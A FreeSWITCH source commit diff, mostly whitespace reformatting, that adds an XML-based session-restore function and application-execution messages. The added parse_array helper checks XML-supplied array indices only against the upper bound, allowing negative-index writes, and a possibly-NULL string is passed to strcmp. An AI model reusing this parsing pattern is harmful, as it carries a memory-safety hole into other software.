+ while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
char *uuid = (char *) pop;
-
+
if ((session = switch_core_session_locate(uuid))) {
switch_channel_hangup(session->channel, cause);
switch_core_session_rwunlock(session);
@@ -210,7 +211,7 @@
switch_core_destroy_memory_pool(&pool);
-}
+}
SWITCH_DECLARE(void) switch_core_session_hupall(switch_call_cause_t cause)
{
@@ -220,7 +221,7 @@
switch_memory_pool_t *pool;
switch_queue_t *queue;
void *pop;
-
+
switch_core_new_memory_pool(&pool);
switch_queue_create(&queue, 250000, pool);
@@ -236,10 +237,10 @@
}
}
switch_mutex_unlock(runtime.session_hash_mutex);
-
- while(switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
+
+ while (switch_queue_trypop(queue, &pop) == SWITCH_STATUS_SUCCESS && pop) {
char *uuid = (char *) pop;
-
+
if ((session = switch_core_session_locate(uuid))) {
switch_channel_hangup(session->channel, cause);
switch_core_session_rwunlock(session);
@@ -247,10 +248,10 @@
}
switch_core_destroy_memory_pool(&pool);
-
+
}
-
+
SWITCH_DECLARE(switch_status_t) switch_core_session_message_send(const char *uuid_str, switch_core_session_message_t *message)
{
switch_core_session_t *session = NULL;
@@ -297,8 +298,8 @@
switch_assert(session != NULL);
return session->private_info;
}
-
+
SWITCH_DECLARE(switch_status_t) switch_core_session_set_private(switch_core_session_t *session, void *private_info)
{
switch_assert(session != NULL);
@@ -340,9 +341,8 @@
const char *endpoint_name,
switch_caller_profile_t *caller_profile,
switch_core_session_t **new_session,
- switch_memory_pool_t **pool,
- switch_originate_flag_t flags,
- switch_call_cause_t *cancel_cause)
+ switch_memory_pool_t **pool,
+ switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
{
switch_io_event_hook_outgoing_channel_t *ptr;
switch_status_t status = SWITCH_STATUS_FALSE;
@@ -378,7 +378,7 @@
if (caller_profile) {
const char *ecaller_id_name = NULL, *ecaller_id_number = NULL;
-
+
if (!(flags & SOF_NO_EFFECTIVE_CID_NAME)) {
ecaller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name");
}
@@ -404,7 +404,8 @@
}
if ((cause =
- endpoint_interface->io_routines->outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
+ endpoint_interface->io_routines->outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags,
+ cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
UNPROTECT_INTERFACE(endpoint_interface);
return cause;
}
@@ -418,8 +419,9 @@
}
if (!*new_session) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n",
- endpoint_name, switch_channel_cause2str(cause));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+ "Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n", endpoint_name,
+ switch_channel_cause2str(cause));
UNPROTECT_INTERFACE(endpoint_interface);
return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
} else {
@@ -431,17 +433,19 @@
switch_assert(peer_channel);
peer_profile = switch_channel_get_caller_profile(peer_channel);
-
+
if ((use_uuid = switch_event_get_header(var_event, "origination_uuid"))) {
use_uuid = switch_core_session_strdup(*new_session, use_uuid);
if (switch_core_session_set_uuid(*new_session, use_uuid) == SWITCH_STATUS_SUCCESS) {
switch_event_del_header(var_event, "origination_uuid");
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, "%s set UUID=%s\n", switch_channel_get_name(peer_channel), use_uuid);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, "%s set UUID=%s\n", switch_channel_get_name(peer_channel),
+ use_uuid);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, "%s set UUID=%s FAILED\n", switch_channel_get_name(peer_channel), use_uuid);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, "%s set UUID=%s FAILED\n",
+ switch_channel_get_name(peer_channel), use_uuid);
}
}
-
+
if (channel) {
const char *val;
switch_codec_t *vid_read_codec = NULL, *read_codec = switch_core_session_get_read_codec(session);
@@ -455,12 +459,12 @@
if (read_codec && read_codec->implementation && switch_core_codec_ready(read_codec)) {
char rc[80] = "", vrc[80] = "", tmp[160] = "";
-
+
switch_codec2str(read_codec, rc, sizeof(rc));
if (vid_read_codec && vid_read_codec->implementation && switch_core_codec_ready(vid_read_codec)) {
vrc[0] = ',';
- switch_codec2str(read_codec, vrc+1, sizeof(vrc) - 1);
- switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc+1);
+ switch_codec2str(read_codec, vrc + 1, sizeof(vrc) - 1);
+ switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc + 1);
}
switch_snprintf(tmp, sizeof(tmp), "%s%s", rc, vrc);
@@ -481,11 +485,10 @@
if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
if (switch_channel_test_cap(peer_channel, CC_BYPASS_MEDIA)) {
- switch_channel_set_flag(peer_channel, CF_PROXY_MODE);
+ switch_channel_set_flag(peer_channel, CF_PROXY_MODE);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
- "%s does not support the proxy feature, disabling.\n",
- switch_channel_get_name(peer_channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ "%s does not support the proxy feature, disabling.\n", switch_channel_get_name(peer_channel));
switch_channel_clear_flag(channel, CF_PROXY_MODE);
}
}
@@ -497,9 +500,8 @@
switch_channel_set_flag(peer_channel, CF_VIDEO);
}
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
- "%s does not support the proxy feature, disabling.\n",
- switch_channel_get_name(peer_channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ "%s does not support the proxy feature, disabling.\n", switch_channel_get_name(peer_channel));
switch_channel_clear_flag(channel, CF_PROXY_MEDIA);
}
}
@@ -548,10 +550,12 @@
"SIMPLIFY",
"DEBUG_AUDIO",
"PROXY_MEDIA",
+ "APPLICATION_EXEC",
+ "APPLICATION_EXEC_COMPLETE",
"INVALID"
};
-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session,
+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session,
switch_core_session_message_t *message,
const char *file, const char *func, int line)
{
@@ -584,19 +588,19 @@
message->message_id = SWITCH_MESSAGE_INVALID;
}
- switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
- switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "%s receive message [%s]\n",
+ switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
+ switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, "%s receive message [%s]\n",
switch_channel_get_name(session->channel), message_names[message->message_id]);
-
- if (message->message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &&
+
+ if (message->message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &&
switch_true(switch_channel_get_variable(session->channel, SWITCH_IGNORE_DISPLAY_UPDATES_VARIABLE))) {
switch_log_printf(SWITCH_CHANNEL_ID_LOG, message->_file, message->_func, message->_line,
- switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, "Ignoring display update.\n");
+ switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, "Ignoring display update.\n");
status = SWITCH_STATUS_SUCCESS;
goto end;
}
-
+
if (session->endpoint_interface->io_routines->receive_message) {
status = session->endpoint_interface->io_routines->receive_message(session, message);
}
@@ -612,32 +616,32 @@
message->_file = NULL;
message->_func = NULL;
message->_line = 0;
-
+
switch (message->message_id) {
- case SWITCH_MESSAGE_REDIRECT_AUDIO:
- case SWITCH_MESSAGE_INDICATE_ANSWER:
- case SWITCH_MESSAGE_INDICATE_PROGRESS:
- case SWITCH_MESSAGE_INDICATE_BRIDGE:
- case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
- case SWITCH_MESSAGE_INDICATE_TRANSFER:
- case SWITCH_MESSAGE_INDICATE_RINGING:
- case SWITCH_MESSAGE_INDICATE_MEDIA:
- case SWITCH_MESSAGE_INDICATE_NOMEDIA:
- case SWITCH_MESSAGE_INDICATE_HOLD:
- case SWITCH_MESSAGE_INDICATE_UNHOLD:
- case SWITCH_MESSAGE_INDICATE_REDIRECT:
- case SWITCH_MESSAGE_INDICATE_RESPOND:
- case SWITCH_MESSAGE_INDICATE_BROADCAST:
- case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
- case SWITCH_MESSAGE_INDICATE_DEFLECT:
+ case SWITCH_MESSAGE_REDIRECT_AUDIO:
+ case SWITCH_MESSAGE_INDICATE_ANSWER:
+ case SWITCH_MESSAGE_INDICATE_PROGRESS:
+ case SWITCH_MESSAGE_INDICATE_BRIDGE:
+ case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
+ case SWITCH_MESSAGE_INDICATE_TRANSFER:
+ case SWITCH_MESSAGE_INDICATE_RINGING:
+ case SWITCH_MESSAGE_INDICATE_MEDIA:
+ case SWITCH_MESSAGE_INDICATE_NOMEDIA:
+ case SWITCH_MESSAGE_INDICATE_HOLD:
+ case SWITCH_MESSAGE_INDICATE_UNHOLD:
+ case SWITCH_MESSAGE_INDICATE_REDIRECT:
+ case SWITCH_MESSAGE_INDICATE_RESPOND:
+ case SWITCH_MESSAGE_INDICATE_BROADCAST:
+ case SWITCH_MESSAGE_INDICATE_MEDIA_REDIRECT:
+ case SWITCH_MESSAGE_INDICATE_DEFLECT:
switch_core_session_kill_channel(session, SWITCH_SIG_BREAK);
break;
default:
break;
}
- end:
+ end:
switch_core_session_free_message(&message);
switch_core_session_rwunlock(session);
@@ -711,12 +715,12 @@
*message = NULL;
if (switch_test_flag(to_free, SCSMF_DYNAMIC)) {
- s = (char *)to_free->string_arg;
+ s = (char *) to_free->string_arg;
switch_safe_free(s);
switch_safe_free(to_free->pointer_arg);
-
+
for (i = 0; i < MESSAGE_STRING_ARG_MAX; i++) {
- s = (char *)to_free->string_array_arg[i];
+ s = (char *) to_free->string_array_arg[i];
switch_safe_free(s);
}
@@ -845,7 +849,7 @@
if (session->private_event_queue) {
queue = priority ? session->private_event_queue_pri : session->private_event_queue;
-
+
(*event)->event_id = SWITCH_EVENT_PRIVATE_COMMAND;
if (switch_queue_trypush(queue, *event) == SWITCH_STATUS_SUCCESS) {
*event = NULL;
@@ -864,12 +868,12 @@
switch_ivr_nomedia(session->uuid_str, SMF_REBRIDGE); \
} \
} \
-
+
SWITCH_DECLARE(uint32_t) switch_core_session_private_event_count(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
uint32_t count = 0;
-
+
if (session->private_event_queue) {
if (!switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
@@ -894,7 +898,7 @@
void *pop;
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_queue_t *queue;
-
+
if (session->private_event_queue) {
if (switch_queue_size(session->private_event_queue_pri)) {
queue = session->private_event_queue_pri;
@@ -904,7 +908,7 @@
}
} else {
queue = session->private_event_queue;
-
+
if (switch_channel_test_flag(channel, CF_EVENT_LOCK)) {
return SWITCH_STATUS_FALSE;
}
@@ -985,16 +989,11 @@
SWITCH_DECLARE(void) switch_core_session_wake_session_thread(switch_core_session_t *session)
{
- int x = 5;
/* If trylock fails the signal is already awake so we needn't bother */
- for(;;) {
- if (switch_mutex_trylock(session->mutex) == SWITCH_STATUS_SUCCESS) {
- switch_thread_cond_signal(session->cond);
- switch_mutex_unlock(session->mutex);
- return;
- }
- if (!--x) return;
- switch_yield(1000);
+
+ if (switch_mutex_trylock(session->mutex) == SWITCH_STATUS_SUCCESS) {
+ switch_thread_cond_signal(session->cond);
+ switch_mutex_unlock(session->mutex);
}
}
@@ -1036,7 +1035,7 @@
switch_core_session_reset(*session, TRUE, SWITCH_TRUE);
-
+
switch_core_media_bug_remove_all(*session);
switch_ivr_deactivate_unicast(*session);
@@ -1078,7 +1077,7 @@
switch_event_t *event;
switch_core_session_t *session;
char *uuid = task->cmd_arg;
-
+
if ((session = switch_core_session_locate(uuid))) {
switch_event_create(&event, SWITCH_EVENT_SESSION_HEARTBEAT);
switch_channel_event_set_data(session->channel, event);
@@ -1103,7 +1102,7 @@
{
switch_core_session_unsched_heartbeat(session);
- session->track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__,
+ session->track_id = switch_scheduler_add_task(switch_epoch_time_now(NULL), sch_heartbeat_callback, (char *) __SWITCH_FUNC__,
switch_core_session_get_uuid(session), 0, strdup(switch_core_session_get_uuid(session)), SSHF_FREE_ARG);
}
@@ -1117,19 +1116,20 @@
session->track_duration = seconds;
- if (switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "%s using scheduler due to bypass_media mode\n", switch_channel_get_name(session->channel));
+ if (switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "%s using scheduler due to bypass_media mode\n",
+ switch_channel_get_name(session->channel));
switch_core_session_sched_heartbeat(session, seconds);
return;
}
switch_core_session_unsched_heartbeat(session);
-
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "%s setting session heartbeat to %u second(s).\n",
+
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "%s setting session heartbeat to %u second(s).\n",
switch_channel_get_name(session->channel), seconds);
session->read_frame_count = 0;
-
+
}
SWITCH_DECLARE(void) switch_core_session_disable_heartbeat(switch_core_session_t *session)
@@ -1138,7 +1138,7 @@
switch_assert(session != NULL);
session->read_frame_count = 0;
session->track_duration = 0;
-
+
}
SWITCH_DECLARE(switch_bool_t) switch_core_session_in_thread(switch_core_session_t *session)
@@ -1234,7 +1234,7 @@
if (switch_core_hash_find(session_manager.session_table, use_uuid)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Duplicate UUID!\n");
switch_mutex_unlock(runtime.session_hash_mutex);
- return SWITCH_STATUS_FALSE;
+ return SWITCH_STATUS_FALSE;
}
msg.message_id = SWITCH_MESSAGE_INDICATE_UUID_CHANGE;
@@ -1251,16 +1251,222 @@
switch_mutex_unlock(runtime.session_hash_mutex);
switch_channel_event_set_data(session->channel, event);
switch_event_fire(&event);
-
+
return SWITCH_STATUS_SUCCESS;
}
+static char *xml_find_var(switch_xml_t vars, const char *name)
+{
+ switch_xml_t var;
+ if ((var = switch_xml_child(vars, name)) && var->txt) {
+ return var->txt;
+ }
+
+ return NULL;
+}
+
+static void parse_array(const char *str, uint32_t *array, int32_t array_len)
+{
+ char *p, *v, *dup, *next = NULL;
+
+ if (zstr(str)) {
+ return;
+ }
+
+ dup = strdup(str);
+
+ p = dup;
+ while (p) {
+ if ((next = strchr(p, ';'))) {
+ *next++ = '\0';
+ }
+
+ if ((v = strchr(p, '='))) {
+ *v++ = '\0';
+ }
+
+ if (p && v) {
+ int x = 0, y = 0;
+
+ x = atoi(p);
+ y = atoi(v);
+
+ if (x < array_len) {
+ array[x] = y;
+ }
+ }
+
+ p = next;
+
+ }
+
+ free(dup);
+}
+
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_xml(switch_endpoint_interface_t *endpoint_interface,
+ switch_memory_pool_t **pool, switch_xml_t xml)
+{
+ switch_core_session_t *session;
+ switch_channel_t *channel;
+ switch_xml_t tag, tag2, tag3, vars, callflow;
+ switch_call_direction_t direction = SWITCH_CALL_DIRECTION_OUTBOUND;
+ char *bridgeto, *flag_str = NULL, *cap_str = NULL, *direction_s = NULL, *uuid = NULL;
+ uint32_t flags[CF_FLAG_MAX] = { 0 };
+ uint32_t caps[CC_FLAG_MAX] = { 0 };
+ int i;
+
+ vars = switch_xml_child(xml, "variables");
+ bridgeto = xml_find_var(vars, SWITCH_SIGNAL_BOND_VARIABLE);
+ uuid = xml_find_var(vars, "uuid");
+
+ if ((tag = switch_xml_child(xml, "channel_data"))) {
+ direction_s = xml_find_var(tag, "direction");
+ direction = !strcmp(direction_s, "outbound") ? SWITCH_CALL_DIRECTION_OUTBOUND : SWITCH_CALL_DIRECTION_INBOUND;
+ flag_str = xml_find_var(tag, "flags");
+ cap_str = xml_find_var(tag, "caps");
+ }
+
+ parse_array(flag_str, flags, CF_FLAG_MAX);
+ parse_array(cap_str, caps, CC_FLAG_MAX);
+
+ if (!(session = switch_core_session_request_uuid(endpoint_interface, direction, pool, uuid))) {
+ return NULL;
+ }
+
+ channel = switch_core_session_get_channel(session);
+
+ for (i = 0; i < CF_FLAG_MAX; i++) {
+ if (flags[i]) {
+ switch_channel_set_flag_value(channel, i, flags[i]);
+ }
+ }
+
+ for (i = 0; i < CC_FLAG_MAX; i++) {
+ if (caps[i]) {
+ switch_channel_set_cap_value(channel, i, caps[i]);
+ }
+ }
+
+ if ((tag2 = switch_xml_child(xml, "variables"))) {
+ for (tag = tag2->child; tag; tag = tag->sibling) {
+ if (tag->name && tag->txt) {
+ char *p = strdup(tag->txt);
+ char *val = p;
+ switch_url_decode(val);
+ switch_channel_set_variable(channel, tag->name, val);
+ free(p);
+ }
+ }
+ }
+
+ if ((callflow = switch_xml_child(xml, "callflow"))) {
+ if ((tag2 = switch_xml_child(callflow, "caller_profile"))) {
+ switch_caller_profile_t *caller_profile;
+ char *name;
+ char *tmp;
+
+ caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+ xml_find_var(tag2, "username"),
+ xml_find_var(tag2, "dialplan"),
+ xml_find_var(tag2, "caller_id_name"),
+ xml_find_var(tag2, "caller_id_number"),
+ xml_find_var(tag2, "network_addr"),
+ xml_find_var(tag2, "ani"),
+ xml_find_var(tag2, "aniii"),
+ xml_find_var(tag2, "rdnis"),
+ xml_find_var(tag2, "source"),
+ xml_find_var(tag2, "context"), xml_find_var(tag2, "destination_number"));
+
+ if ((tmp = xml_find_var(tag2, "callee_id_name"))) {
+ caller_profile->callee_id_name = switch_core_session_strdup(session, tmp);
+ }
+
+ if ((tmp = xml_find_var(tag2, "callee_id_number"))) {
+ caller_profile->callee_id_number = switch_core_session_strdup(session, tmp);
+ }
+
+ if ((name = xml_find_var(tag2, "channel_name"))) {
+ switch_channel_set_name(channel, name);
+ }
+
+ if ((tag3 = switch_xml_child(callflow, "times"))) {
+ caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(session, sizeof(*caller_profile->times));
+
+ caller_profile->times->resurrected = switch_time_now();
+
+ for (tag3 = tag3->child; tag3; tag3 = tag3->sibling) {
+ int64_t v;
+
+ if (tag3->name && tag3->txt) {
+ v = atoll(tag3->txt);
+ if (!strcmp(tag3->name, "created_time")) {
+ caller_profile->times->created = v;
+ } else if (!strcmp(tag3->name, "profile_created_time")) {
+ caller_profile->times->profile_created = v;
+ } else if (!strcmp(tag3->name, "progress_time")) {
+ caller_profile->times->progress = v;
+ } else if (!strcmp(tag3->name, "progress_media_time")) {
+ caller_profile->times->progress_media = v;
+ } else if (!strcmp(tag3->name, "answered_time")) {
+ caller_profile->times->answered = v;
+ } else if (!strcmp(tag3->name, "hangup_time")) {
+ caller_profile->times->hungup = v;
+ } else if (!strcmp(tag3->name, "transfer_time")) {
+ caller_profile->times->transferred = v;
+ }
+ }
+
+ }
+ }
+
+ switch_channel_set_caller_profile(channel, caller_profile);
+ if ((tag = switch_xml_child(tag2, "originator")) && (tag = tag->child)) {
+ caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+ xml_find_var(tag, "username"),
+ xml_find_var(tag, "dialplan"),
+ xml_find_var(tag, "caller_id_name"),
+ xml_find_var(tag, "caller_id_number"),
+ xml_find_var(tag, "network_addr"),
+ xml_find_var(tag, "ani"),
+ xml_find_var(tag, "aniii"),
+ xml_find_var(tag, "rdnis"),
+ xml_find_var(tag, "source"),
+ xml_find_var(tag, "context"), xml_find_var(tag, "destination_number"));
+
+ switch_channel_set_originator_caller_profile(channel, caller_profile);
+ }
+
+ if ((tag = switch_xml_child(tag2, "originatee")) && (tag = tag->child)) {
+ caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+ xml_find_var(tag, "username"),
+ xml_find_var(tag, "dialplan"),
+ xml_find_var(tag, "caller_id_name"),
+ xml_find_var(tag, "caller_id_number"),
+ xml_find_var(tag, "network_addr"),
+ xml_find_var(tag, "ani"),
+ xml_find_var(tag, "aniii"),
+ xml_find_var(tag, "rdnis"),
+ xml_find_var(tag, "source"),
+ xml_find_var(tag, "context"), xml_find_var(tag, "destination_number"));
+
+ switch_channel_set_originatee_caller_profile(channel, caller_profile);
+ }
+
+ }
+
+ }
+
+
+ return session;
+}
+
+
+
SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(switch_endpoint_interface_t
- *endpoint_interface,
+ *endpoint_interface,
switch_call_direction_t direction,
- switch_memory_pool_t **pool,
- const char *use_uuid)
+ switch_memory_pool_t **pool, const char *use_uuid)
{
switch_memory_pool_t *usepool;
switch_core_session_t *session;
@@ -1271,7 +1477,7 @@
if (use_uuid && switch_core_hash_find(session_manager.session_table, use_uuid)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Duplicate UUID!\n");
- return NULL;
+ return NULL;
}
if (!switch_core_ready() || endpoint_interface == NULL) {
@@ -1309,7 +1515,7 @@
session->pool = usepool;
switch_core_memory_pool_set_data(session->pool, "__session", session);
-
+
if (switch_channel_alloc(&session->channel, direction, session->pool) != SWITCH_STATUS_SUCCESS) {
abort();
}
@@ -1319,7 +1525,7 @@
if (direction == SWITCH_CALL_DIRECTION_OUTBOUND) {
switch_channel_set_flag(session->channel, CF_OUTBOUND);
}
-
+
/* The session *IS* the pool you may not alter it because you have no idea how
its all private it will be passed to the thread run function */
@@ -1330,6 +1536,8 @@
switch_uuid_format(session->uuid_str, &uuid);
}
+ switch_channel_set_variable(session->channel, "uuid", session->uuid_str);
+
session->endpoint_interface = endpoint_interface;
session->raw_write_frame.data = session->raw_write_buf;
session->raw_write_frame.buflen = sizeof(session->raw_write_buf);
@@ -1359,7 +1567,7 @@
session->id = session_manager.session_id++;
session_manager.session_count++;
switch_mutex_unlock(runtime.session_hash_mutex);
-
+
return session;
}
@@ -1379,9 +1587,8 @@
}
-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name,
- switch_call_direction_t direction,
- switch_memory_pool_t **pool)
+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name,
+ switch_call_direction_t direction, switch_memory_pool_t **pool)
{
switch_endpoint_interface_t *endpoint_interface;
switch_core_session_t *session;
@@ -1480,18 +1687,18 @@
UNPROTECT_INTERFACE(application_interface);
- end:
+ end:
return status;
}
-SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app,
+SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app,
const char *arg, int32_t *flags)
{
switch_application_interface_t *application_interface;
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
if (switch_channel_down(session->channel)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel is hungup, aborting execution of application: %s\n", app);
return SWITCH_STATUS_FALSE;
@@ -1528,10 +1735,10 @@
switch_core_session_exec(session, application_interface, arg);
-done:
+ done:
UNPROTECT_INTERFACE(application_interface);
-
+
return status;
}
@@ -1544,16 +1751,17 @@
switch_channel_t *channel = switch_core_session_get_channel(session);
char *expanded = NULL;
const char *app;
+ switch_core_session_message_t msg = { 0 };
switch_assert(application_interface);
app = application_interface->interface_name;
-
+
if (arg) {
expanded = switch_channel_expand_variables(session->channel, arg);
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, "EXECUTE %s %s(%s)\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, "EXECUTE %s %s(%s)\n",
switch_channel_get_name(session->channel), app, switch_str_nil(expanded));
if ((var = switch_channel_get_variable(session->channel, "verbose_presence")) && switch_true(var)) {
@@ -1587,11 +1795,11 @@
session->app_log = log;
}
}
-
+
switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
switch_channel_set_variable_var_check(channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE, expanded, SWITCH_FALSE);
switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, NULL);
-
+
if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE) == SWITCH_STATUS_SUCCESS) {
switch_channel_event_set_data(session->channel, event);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", application_interface->interface_name);
@@ -1605,8 +1813,14 @@
switch_channel_set_variable(session->channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
+ msg.from = __FILE__;
+ msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC;
+ msg.string_array_arg[0] = application_interface->interface_name;
+ msg.string_array_arg[1] = expanded;
+ switch_core_session_receive_message(session, &msg);
+
application_interface->application_function(session, expanded);
-
+
if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE) == SWITCH_STATUS_SUCCESS) {
const char *resp = switch_channel_get_variable(session->channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE);
switch_channel_event_set_data(session->channel, event);
@@ -1616,10 +1830,13 @@
switch_event_fire(&event);
}
+ msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE;
+ switch_core_session_receive_message(session, &msg);
+
if (expanded != arg) {
switch_safe_free(expanded);
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1640,7 +1857,8 @@
}
if (session->stack_count > SWITCH_MAX_STACKS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error %s too many stacked extensions\n", switch_channel_get_name(session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error %s too many stacked extensions\n",
+ switch_channel_get_name(session->channel));
return SWITCH_STATUS_FALSE;
}
@@ -1657,7 +1875,7 @@
new_profile->context = switch_core_strdup(new_profile->pool, context);
}
- dpstr = switch_core_session_strdup(session, new_profile->dialplan);
+ dpstr = switch_core_session_strdup(session, new_profile->dialplan);
switch_channel_set_hunt_caller_profile(channel, new_profile);
argc = switch_separate_string(dpstr, ',', dp, (sizeof(dp) / sizeof(dp[0])));
@@ -1680,7 +1898,7 @@
count++;
extension = dialplan_interface->hunt_function(session, dparg, new_profile);
- UNPROTECT_INTERFACE(dialplan_interface);
+ UNPROTECT_INTERFACE(dialplan_interface);
if (extension) {
break;
@@ -1726,15 +1944,15 @@
SWITCH_DECLARE(switch_status_t) switch_core_session_set_loglevel(switch_core_session_t *session, switch_log_level_t loglevel)
{
- switch_assert(session != NULL);
- session->loglevel = loglevel;
- return SWITCH_STATUS_SUCCESS;
+ switch_assert(session != NULL);
+ session->loglevel = loglevel;
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_DECLARE(switch_log_level_t) switch_core_session_get_loglevel(switch_core_session_t *session)
{
- switch_assert(session != NULL);
- return session->loglevel;
+ switch_assert(session != NULL);
+ return session->loglevel;
}
/* For Emacs:
Modified: freeswitch/trunk/src/switch_core_speech.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_speech.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_speech.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -121,7 +121,7 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
+
/* extract params */
if (*data == '{') {
param_string = data + 1;
@@ -150,10 +150,10 @@
status = sh->speech_interface->speech_feed_tts(sh, data, flags);
- done:
+ done:
switch_safe_free(ltext);
- return status;
+ return status;
}
SWITCH_DECLARE(void) switch_core_speech_flush_tts(switch_speech_handle_t *sh)
@@ -192,17 +192,16 @@
}
}
-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
- void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
{
switch_status_t status;
switch_size_t want, orig_len = *datalen;
-
+
switch_assert(sh != NULL);
-
+
want = *datalen;
- top:
+ top:
if (sh->buffer && (switch_buffer_inuse(sh->buffer) >= orig_len || switch_test_flag(sh, SWITCH_SPEECH_FLAG_DONE))) {
